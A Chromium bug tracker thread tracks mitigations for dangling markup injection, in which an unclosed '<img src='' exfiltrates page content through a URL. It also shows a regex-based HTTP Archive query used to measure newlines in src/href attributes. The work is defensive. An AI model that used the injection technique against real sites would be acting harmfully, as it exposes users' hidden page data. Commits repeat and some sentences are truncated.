Fixed
Status Update
No update yet.
Comments
mk...@chromium.org
(Unescaped newlines or braces, that is. Something like `%0A` is fine, whereas `\n` is indicative of a dangling `'`)
bu...@chromium.org
The following revision refers to this bug:
commit 63ec3598c662f32715148c25faf99771c9d1cb6c
Author: mkwst <mkwst@chromium.org>
Date: Sat Jan 14 06:12:45 2017
Measure URL resolution with raw newlines and braces.
Because HTML is fairly lax in parsing attribute values, injecting
something like `<img src='
otherwise hidden values by eating up elements and their attributes, and
resolving them as a URL.
Perhaps we could restrict the character set allowed in `src`/`href`
attributes to bring them in-line with CSS's rules for `url('`. That
is, perhaps we should stop resolving URLs that contain raw newline
characters (`\n`)? Or braces (`<`)? Or both? It's not clear whether we
can do something about this by default, so let's add metrics and see
what we see.
BUG=680970
R=jochen@chromium.org
Review-Url:
Cr-Commit-Position: refs/heads/master@{#443793}
[modify]
[modify]
[modify]
commit 63ec3598c662f32715148c25faf99771c9d1cb6c
Author: mkwst <mkwst@chromium.org>
Date: Sat Jan 14 06:12:45 2017
Measure URL resolution with raw newlines and braces.
Because HTML is fairly lax in parsing attribute values, injecting
something like `<img src='
otherwise hidden values by eating up elements and their attributes, and
resolving them as a URL.
Perhaps we could restrict the character set allowed in `src`/`href`
attributes to bring them in-line with CSS's rules for `url('`. That
is, perhaps we should stop resolving URLs that contain raw newline
characters (`\n`)? Or braces (`<`)? Or both? It's not clear whether we
can do something about this by default, so let's add metrics and see
what we see.
BUG=680970
R=jochen@chromium.org
Review-Url:
Cr-Commit-Position: refs/heads/master@{#443793}
[modify]
[modify]
[modify]
zc...@gmail.com
Newlines (ignoring leading/trailing only) in src/href in httparchive:
SELECT * FROM (
SELECT page, url, REGEXP_EXTRACT(LOWER(body), r'(<[a-z][^>]+\s+(?:src|href)\s*=\s*(?:"\s*(?:[^"\s]+\s*(?:\r|\n)+\s*[^"\s]+)+\s*"|\'\s*(?:[^\'\s]+\s*(?:\r|\n)+\s*[^\'\s]+)+\s*\')[^>]+>)') AS match
FROM [httparchive:har.2017_01_01_chrome_requests_bodies]
)
WHERE page = url
AND match != "null"
AND NOT REGEXP_MATCH(match, r'["\']\s*\+') # exclude JS string concats
1771 results.
Of those, 26 also have a <.
(Didn't query for only <.)
SELECT * FROM (
SELECT page, url, REGEXP_EXTRACT(LOWER(body), r'(<[a-z][^>]+\s+(?:src|href)\s*=\s*(?:"\s*(?:[^"\s]+\s*(?:\r|\n)+\s*[^"\s]+)+\s*"|\'\s*(?:[^\'\s]+\s*(?:\r|\n)+\s*[^\'\s]+)+\s*\')[^>]+>)') AS match
FROM [httparchive:har.2017_01_01_chrome_requests_bodies]
)
WHERE page = url
AND match != "null"
AND NOT REGEXP_MATCH(match, r'["\']\s*\+') # exclude JS string concats
1771 results.
Of those, 26 also have a <.
(Didn't query for only <.)
mk...@chromium.org
Wow. That's a regex. Thank you! :)
Visually inspecting the `\n` + `<` results at
Let's see what the use counter looks like. The current patch up at
Visually inspecting the `\n` + `<` results at
Let's see what the use counter looks like. The current patch up at
bu...@chromium.org
The following revision refers to this bug:
commit cd87dfc6f638a6d64b2311d35a58cb1969116915
Author: mkwst <mkwst@chromium.org>
Date: Tue Jan 17 13:42:25 2017
Experiment with blocking resolution of HTTP URLs containing '\n' and '<'.
Following up on the metrics added in
this patch adds a flag that will prevent URL resolution if the URL string
contains a raw newline and less than sign. It also refines the metrics by
excluding non-HTTP (e.g. `data:`, `javascript:`, `file:`) URLs, as those are quite
likely to contain `<`, and quite unlikely to result in exfiltration (as they don't
hit the network).
Let's see how the data looks.
Intent to Implement:
BUG=680970
Review-Url:
Cr-Commit-Position: refs/heads/master@{#444040}
[modify]
[add]
[modify]
[modify]
[modify]
[modify]
commit cd87dfc6f638a6d64b2311d35a58cb1969116915
Author: mkwst <mkwst@chromium.org>
Date: Tue Jan 17 13:42:25 2017
Experiment with blocking resolution of HTTP URLs containing '\n' and '<'.
Following up on the metrics added in
this patch adds a flag that will prevent URL resolution if the URL string
contains a raw newline and less than sign. It also refines the metrics by
excluding non-HTTP (e.g. `data:`, `javascript:`, `file:`) URLs, as those are quite
likely to contain `<`, and quite unlikely to result in exfiltration (as they don't
hit the network).
Let's see how the data looks.
Intent to Implement:
BUG=680970
Review-Url:
Cr-Commit-Position: refs/heads/master@{#444040}
[modify]
[add]
[modify]
[modify]
[modify]
[modify]
zc...@gmail.com
I noticed now the [^>]+ should have been [^>]*, but for `img` at least it shouldn't make any difference most of the time...
bu...@chromium.org
The following revision refers to this bug:
commit 41318f4888c1f60613c74cc86e539d173b16b0ad
Author: mkwst <mkwst@chromium.org>
Date: Thu Jan 19 15:11:50 2017
Reduce the perf overhead of our dangling markup experiments.
Given that Document::completeURL is a hotspot, this patch revamps the
approach to capture removed whitespace up in //url (where we're already
scanning through the string), and limits the scan for '<' to cases in
which we've actually removed whitespace.
BUG=680970, 682300
R=jochen@chromium.org
Review-Url:
Cr-Commit-Position: refs/heads/master@{#444734}
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
commit 41318f4888c1f60613c74cc86e539d173b16b0ad
Author: mkwst <mkwst@chromium.org>
Date: Thu Jan 19 15:11:50 2017
Reduce the perf overhead of our dangling markup experiments.
Given that Document::completeURL is a hotspot, this patch revamps the
approach to capture removed whitespace up in //url (where we're already
scanning through the string), and limits the scan for '<' to cases in
which we've actually removed whitespace.
BUG=680970, 682300
R=jochen@chromium.org
Review-Url:
Cr-Commit-Position: refs/heads/master@{#444734}
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
pa...@chromium.org
[Empty comment from Monorail migration]
bu...@chromium.org
The following revision refers to this bug:
commit 58eb768aa18cf83d0ac4b30d339ee1a778ee582a
Author: mkwst <mkwst@chromium.org>
Date: Fri Apr 07 18:29:09 2017
Experimentally block/deprecate resource requests whose URLs contain raw newlines.
Intent to Deprecate:
BUG=680970
Review-Url:
Cr-Commit-Position: refs/heads/master@{#462933}
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[add]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
commit 58eb768aa18cf83d0ac4b30d339ee1a778ee582a
Author: mkwst <mkwst@chromium.org>
Date: Fri Apr 07 18:29:09 2017
Experimentally block/deprecate resource requests whose URLs contain raw newlines.
Intent to Deprecate:
BUG=680970
Review-Url:
Cr-Commit-Position: refs/heads/master@{#462933}
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[add]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
bu...@chromium.org
The following revision refers to this bug:
commit c9d6c1bb4234256176f66cc8c61c9878c931950a
Author: mkwst <mkwst@chromium.org>
Date: Thu May 18 15:05:22 2017
Set 'whitespace_removed' correctly when resolving relative URLs.
The previous two (!!!) patches missed the relative URL resolution path
through KURL and url_utils. This patch pokes at the logic one more time.
BUG=680970
Review-Url:
Cr-Commit-Position: refs/heads/master@{#472812}
[modify]
[modify]
[modify]
[modify]
commit c9d6c1bb4234256176f66cc8c61c9878c931950a
Author: mkwst <mkwst@chromium.org>
Date: Thu May 18 15:05:22 2017
Set 'whitespace_removed' correctly when resolving relative URLs.
The previous two (!!!) patches missed the relative URL resolution path
through KURL and url_utils. This patch pokes at the logic one more time.
BUG=680970
Review-Url:
Cr-Commit-Position: refs/heads/master@{#472812}
[modify]
[modify]
[modify]
[modify]
bu...@chromium.org
The following revision refers to this bug:
commit 9e5ae901660de47ef1b844c6113eae91b5ae8e9e
Author: Mike West <mkwst@google.com>
Date: Wed May 24 17:43:18 2017
Update dangling markup mitigations.
Still behind a flag, just updating the checks to look for both `\n` and
`<` rather than just the former. This is in line with the patches up at
Intent to Remove:
Bug: 680970
Change-Id: Ifda61a0afe1f0e97620acef7dc54b005c6f74840
Reviewed-on:
Commit-Queue: Mike West <mkwst@chromium.org>
Reviewed-by: Jochen Eisinger <jochen@chromium.org>
Cr-Commit-Position: refs/heads/master@{#474341}
[modify]
[modify]
[modify]
[modify]
[add]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[delete]
[delete]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
commit 9e5ae901660de47ef1b844c6113eae91b5ae8e9e
Author: Mike West <mkwst@google.com>
Date: Wed May 24 17:43:18 2017
Update dangling markup mitigations.
Still behind a flag, just updating the checks to look for both `\n` and
`<` rather than just the former. This is in line with the patches up at
Intent to Remove:
Bug: 680970
Change-Id: Ifda61a0afe1f0e97620acef7dc54b005c6f74840
Reviewed-on:
Commit-Queue: Mike West <mkwst@chromium.org>
Reviewed-by: Jochen Eisinger <jochen@chromium.org>
Cr-Commit-Position: refs/heads/master@{#474341}
[modify]
[modify]
[modify]
[modify]
[add]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[delete]
[delete]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
[modify]
bu...@chromium.org
The following revision refers to this bug:
commit 1c4bde5b5820211c8954b82648bbe089ca117336
Author: Mike West <mkwst@chromium.org>
Date: Tue May 30 17:03:27 2017
Launch dangling markup mitigations for `\n` and `<` in URLs.
Intent to Remove:
Bug: 680970
Change-Id: I0aa854521376fd3ae7624b5b4359351709f17b41
Reviewed-on:
Commit-Queue: Mike West <mkwst@chromium.org>
Reviewed-by: Jochen Eisinger <jochen@chromium.org>
Cr-Commit-Position: refs/heads/master@{#475571}
[modify]
[add]
[modify]
[modify]
commit 1c4bde5b5820211c8954b82648bbe089ca117336
Author: Mike West <mkwst@chromium.org>
Date: Tue May 30 17:03:27 2017
Launch dangling markup mitigations for `\n` and `<` in URLs.
Intent to Remove:
Bug: 680970
Change-Id: I0aa854521376fd3ae7624b5b4359351709f17b41
Reviewed-on:
Commit-Queue: Mike West <mkwst@chromium.org>
Reviewed-by: Jochen Eisinger <jochen@chromium.org>
Cr-Commit-Position: refs/heads/master@{#475571}
[modify]
[add]
[modify]
[modify]
an...@gmail.com
I got the deprecation warning in Chrome 59. So in the future it wont be possible to split long base64 urls?
Are there alternatives to avoid writing very long code lines?
Thanks
Example:
<image xlink:href="data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/
sABFEdWNreQABAAQAAAALAAD/4QM0aHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQg
YmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zO
ng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjMtYzAxMSA2Ni4xNDU2Nj
EsIDIwMTIvMDIvMDYtMTQ6NTY6MjcgICAgICAgIC...(some thousands more characters)"/>
Are there alternatives to avoid writing very long code lines?
Thanks
Example:
<image xlink:href="data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/
sABFEdWNreQABAAQAAAALAAD/4QM0aHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQg
YmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zO
ng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjMtYzAxMSA2Ni4xNDU2Nj
EsIDIwMTIvMDIvMDYtMTQ6NTY6MjcgICAgICAgIC...(some thousands more characters)"/>
mk...@chromium.org
#13: We carved `data` out from what we're actually shipping in M61. If you try your page on Canary, you shouldn't see that URL being blocked.
an...@gmail.com
It works in Canary. Thanks
mk...@chromium.org
[Empty comment from Monorail migration]
bu...@chromium.org
The following revision refers to this bug:
commit 682b16cc3fd2316946670f25f38a9abba6827fe4
Author: Mike West <mkwst@chromium.org>
Date: Fri Aug 11 14:27:38 2017
Apply dangling markup restrictions to `<link>`.
`preconnect`, `dns-prefetch`, and `prefetch` were all inadvertantly
bypassing the danging markup mitigations we landed for "actual" resource
requests. This patch resolves that oversight.
Bug: 680970, 695474, 749852
Change-Id: Ic2a262d062a92830b1869b3fb3183280156f3c0a
Reviewed-on:
Commit-Queue: Mike West <mkwst@chromium.org>
Reviewed-by: Yoav Weiss <yoav@yoav.ws>
Cr-Commit-Position: refs/heads/master@{#493728}
[modify]
[add]
[add]
[modify]
[modify]
commit 682b16cc3fd2316946670f25f38a9abba6827fe4
Author: Mike West <mkwst@chromium.org>
Date: Fri Aug 11 14:27:38 2017
Apply dangling markup restrictions to `<link>`.
`preconnect`, `dns-prefetch`, and `prefetch` were all inadvertantly
bypassing the danging markup mitigations we landed for "actual" resource
requests. This patch resolves that oversight.
Bug: 680970, 695474, 749852
Change-Id: Ic2a262d062a92830b1869b3fb3183280156f3c0a
Reviewed-on:
Commit-Queue: Mike West <mkwst@chromium.org>
Reviewed-by: Yoav Weiss <yoav@yoav.ws>
Cr-Commit-Position: refs/heads/master@{#493728}
[modify]
[add]
[add]
[modify]
[modify]
bu...@chromium.org
The following revision refers to this bug:
commit 9aa51a5d91811c1009a9a1655ed8c935504e2f76
Author: Mike West <mkwst@chromium.org>
Date: Fri Aug 18 07:23:34 2017
Apply dangling markup restrictions to `<link>`.
`preconnect`, `dns-prefetch`, and `prefetch` were all inadvertantly
bypassing the danging markup mitigations we landed for "actual" resource
requests. This patch resolves that oversight.
TBR=mkwst@chromium.org
(cherry picked from commit 682b16cc3fd2316946670f25f38a9abba6827fe4)
Bug: 680970, 695474, 749852
Change-Id: Ic2a262d062a92830b1869b3fb3183280156f3c0a
Reviewed-on:
Commit-Queue: Mike West <mkwst@chromium.org>
Reviewed-by: Yoav Weiss <yoav@yoav.ws>
Cr-Original-Commit-Position: refs/heads/master@{#493728}
Reviewed-on:
Reviewed-by: Mike West <mkwst@chromium.org>
Cr-Commit-Position: refs/branch-heads/3163@{#671}
Cr-Branched-From: ff259bab28b35d242e10186cd63af7ed404fae0d-refs/heads/master@{#488528}
[modify]
[add]
[add]
[modify]
[modify]
commit 9aa51a5d91811c1009a9a1655ed8c935504e2f76
Author: Mike West <mkwst@chromium.org>
Date: Fri Aug 18 07:23:34 2017
Apply dangling markup restrictions to `<link>`.
`preconnect`, `dns-prefetch`, and `prefetch` were all inadvertantly
bypassing the danging markup mitigations we landed for "actual" resource
requests. This patch resolves that oversight.
TBR=mkwst@chromium.org
(cherry picked from commit 682b16cc3fd2316946670f25f38a9abba6827fe4)
Bug: 680970, 695474, 749852
Change-Id: Ic2a262d062a92830b1869b3fb3183280156f3c0a
Reviewed-on:
Commit-Queue: Mike West <mkwst@chromium.org>
Reviewed-by: Yoav Weiss <yoav@yoav.ws>
Cr-Original-Commit-Position: refs/heads/master@{#493728}
Reviewed-on:
Reviewed-by: Mike West <mkwst@chromium.org>
Cr-Commit-Position: refs/branch-heads/3163@{#671}
Cr-Branched-From: ff259bab28b35d242e10186cd63af7ed404fae0d-refs/heads/master@{#488528}
[modify]
[add]
[add]
[modify]
[modify]
bu...@chromium.org
The following revision refers to this bug:
commit 4ccf4c624660b9510effde94dd30e01498ed1f96
Author: Eric Willigers <ericwilligers@chromium.org>
Date: Thu Aug 16 13:06:18 2018
Retire RestrictCanRequestURLCharacterSet flag
This mitigation shipped to stable in M61.
BUG=680970
Change-Id: I827ca161ecc7e3d7b75fc2774cee8e6d0ea04ed3
Reviewed-on:
Reviewed-by: Mike West <mkwst@chromium.org>
Commit-Queue: Eric Willigers <ericwilligers@chromium.org>
Cr-Commit-Position: refs/heads/master@{#583621}
[modify]
[modify]
[modify]
[modify]
commit 4ccf4c624660b9510effde94dd30e01498ed1f96
Author: Eric Willigers <ericwilligers@chromium.org>
Date: Thu Aug 16 13:06:18 2018
Retire RestrictCanRequestURLCharacterSet flag
This mitigation shipped to stable in M61.
BUG=680970
Change-Id: I827ca161ecc7e3d7b75fc2774cee8e6d0ea04ed3
Reviewed-on:
Reviewed-by: Mike West <mkwst@chromium.org>
Commit-Queue: Eric Willigers <ericwilligers@chromium.org>
Cr-Commit-Position: refs/heads/master@{#583621}
[modify]
[modify]
[modify]
[modify]
is...@google.com
This issue was migrated from
[Multiple monorail components: Blink>HTML, Blink>HTML>Parser, Blink>SecurityFeature]
[Monorail blocking:
[Monorail components added to Component Tags custom field.]
[Multiple monorail components: Blink>HTML, Blink>HTML>Parser, Blink>SecurityFeature]
[Monorail blocking:
[Monorail components added to Component Tags custom field.]
Description
Perhaps we could restrict the character set allowed in `src`/`href` attributes to bring them in-line with CSS's rules for `url('`. That is, perhaps we should stop resolving URLs that contain newline characters? Or braces? Or both? It's not clear whether we can do something about this by default, but worst case, we could allow an opt-in to stricter parsing.
Metrics first, then a proposal to HTML folks.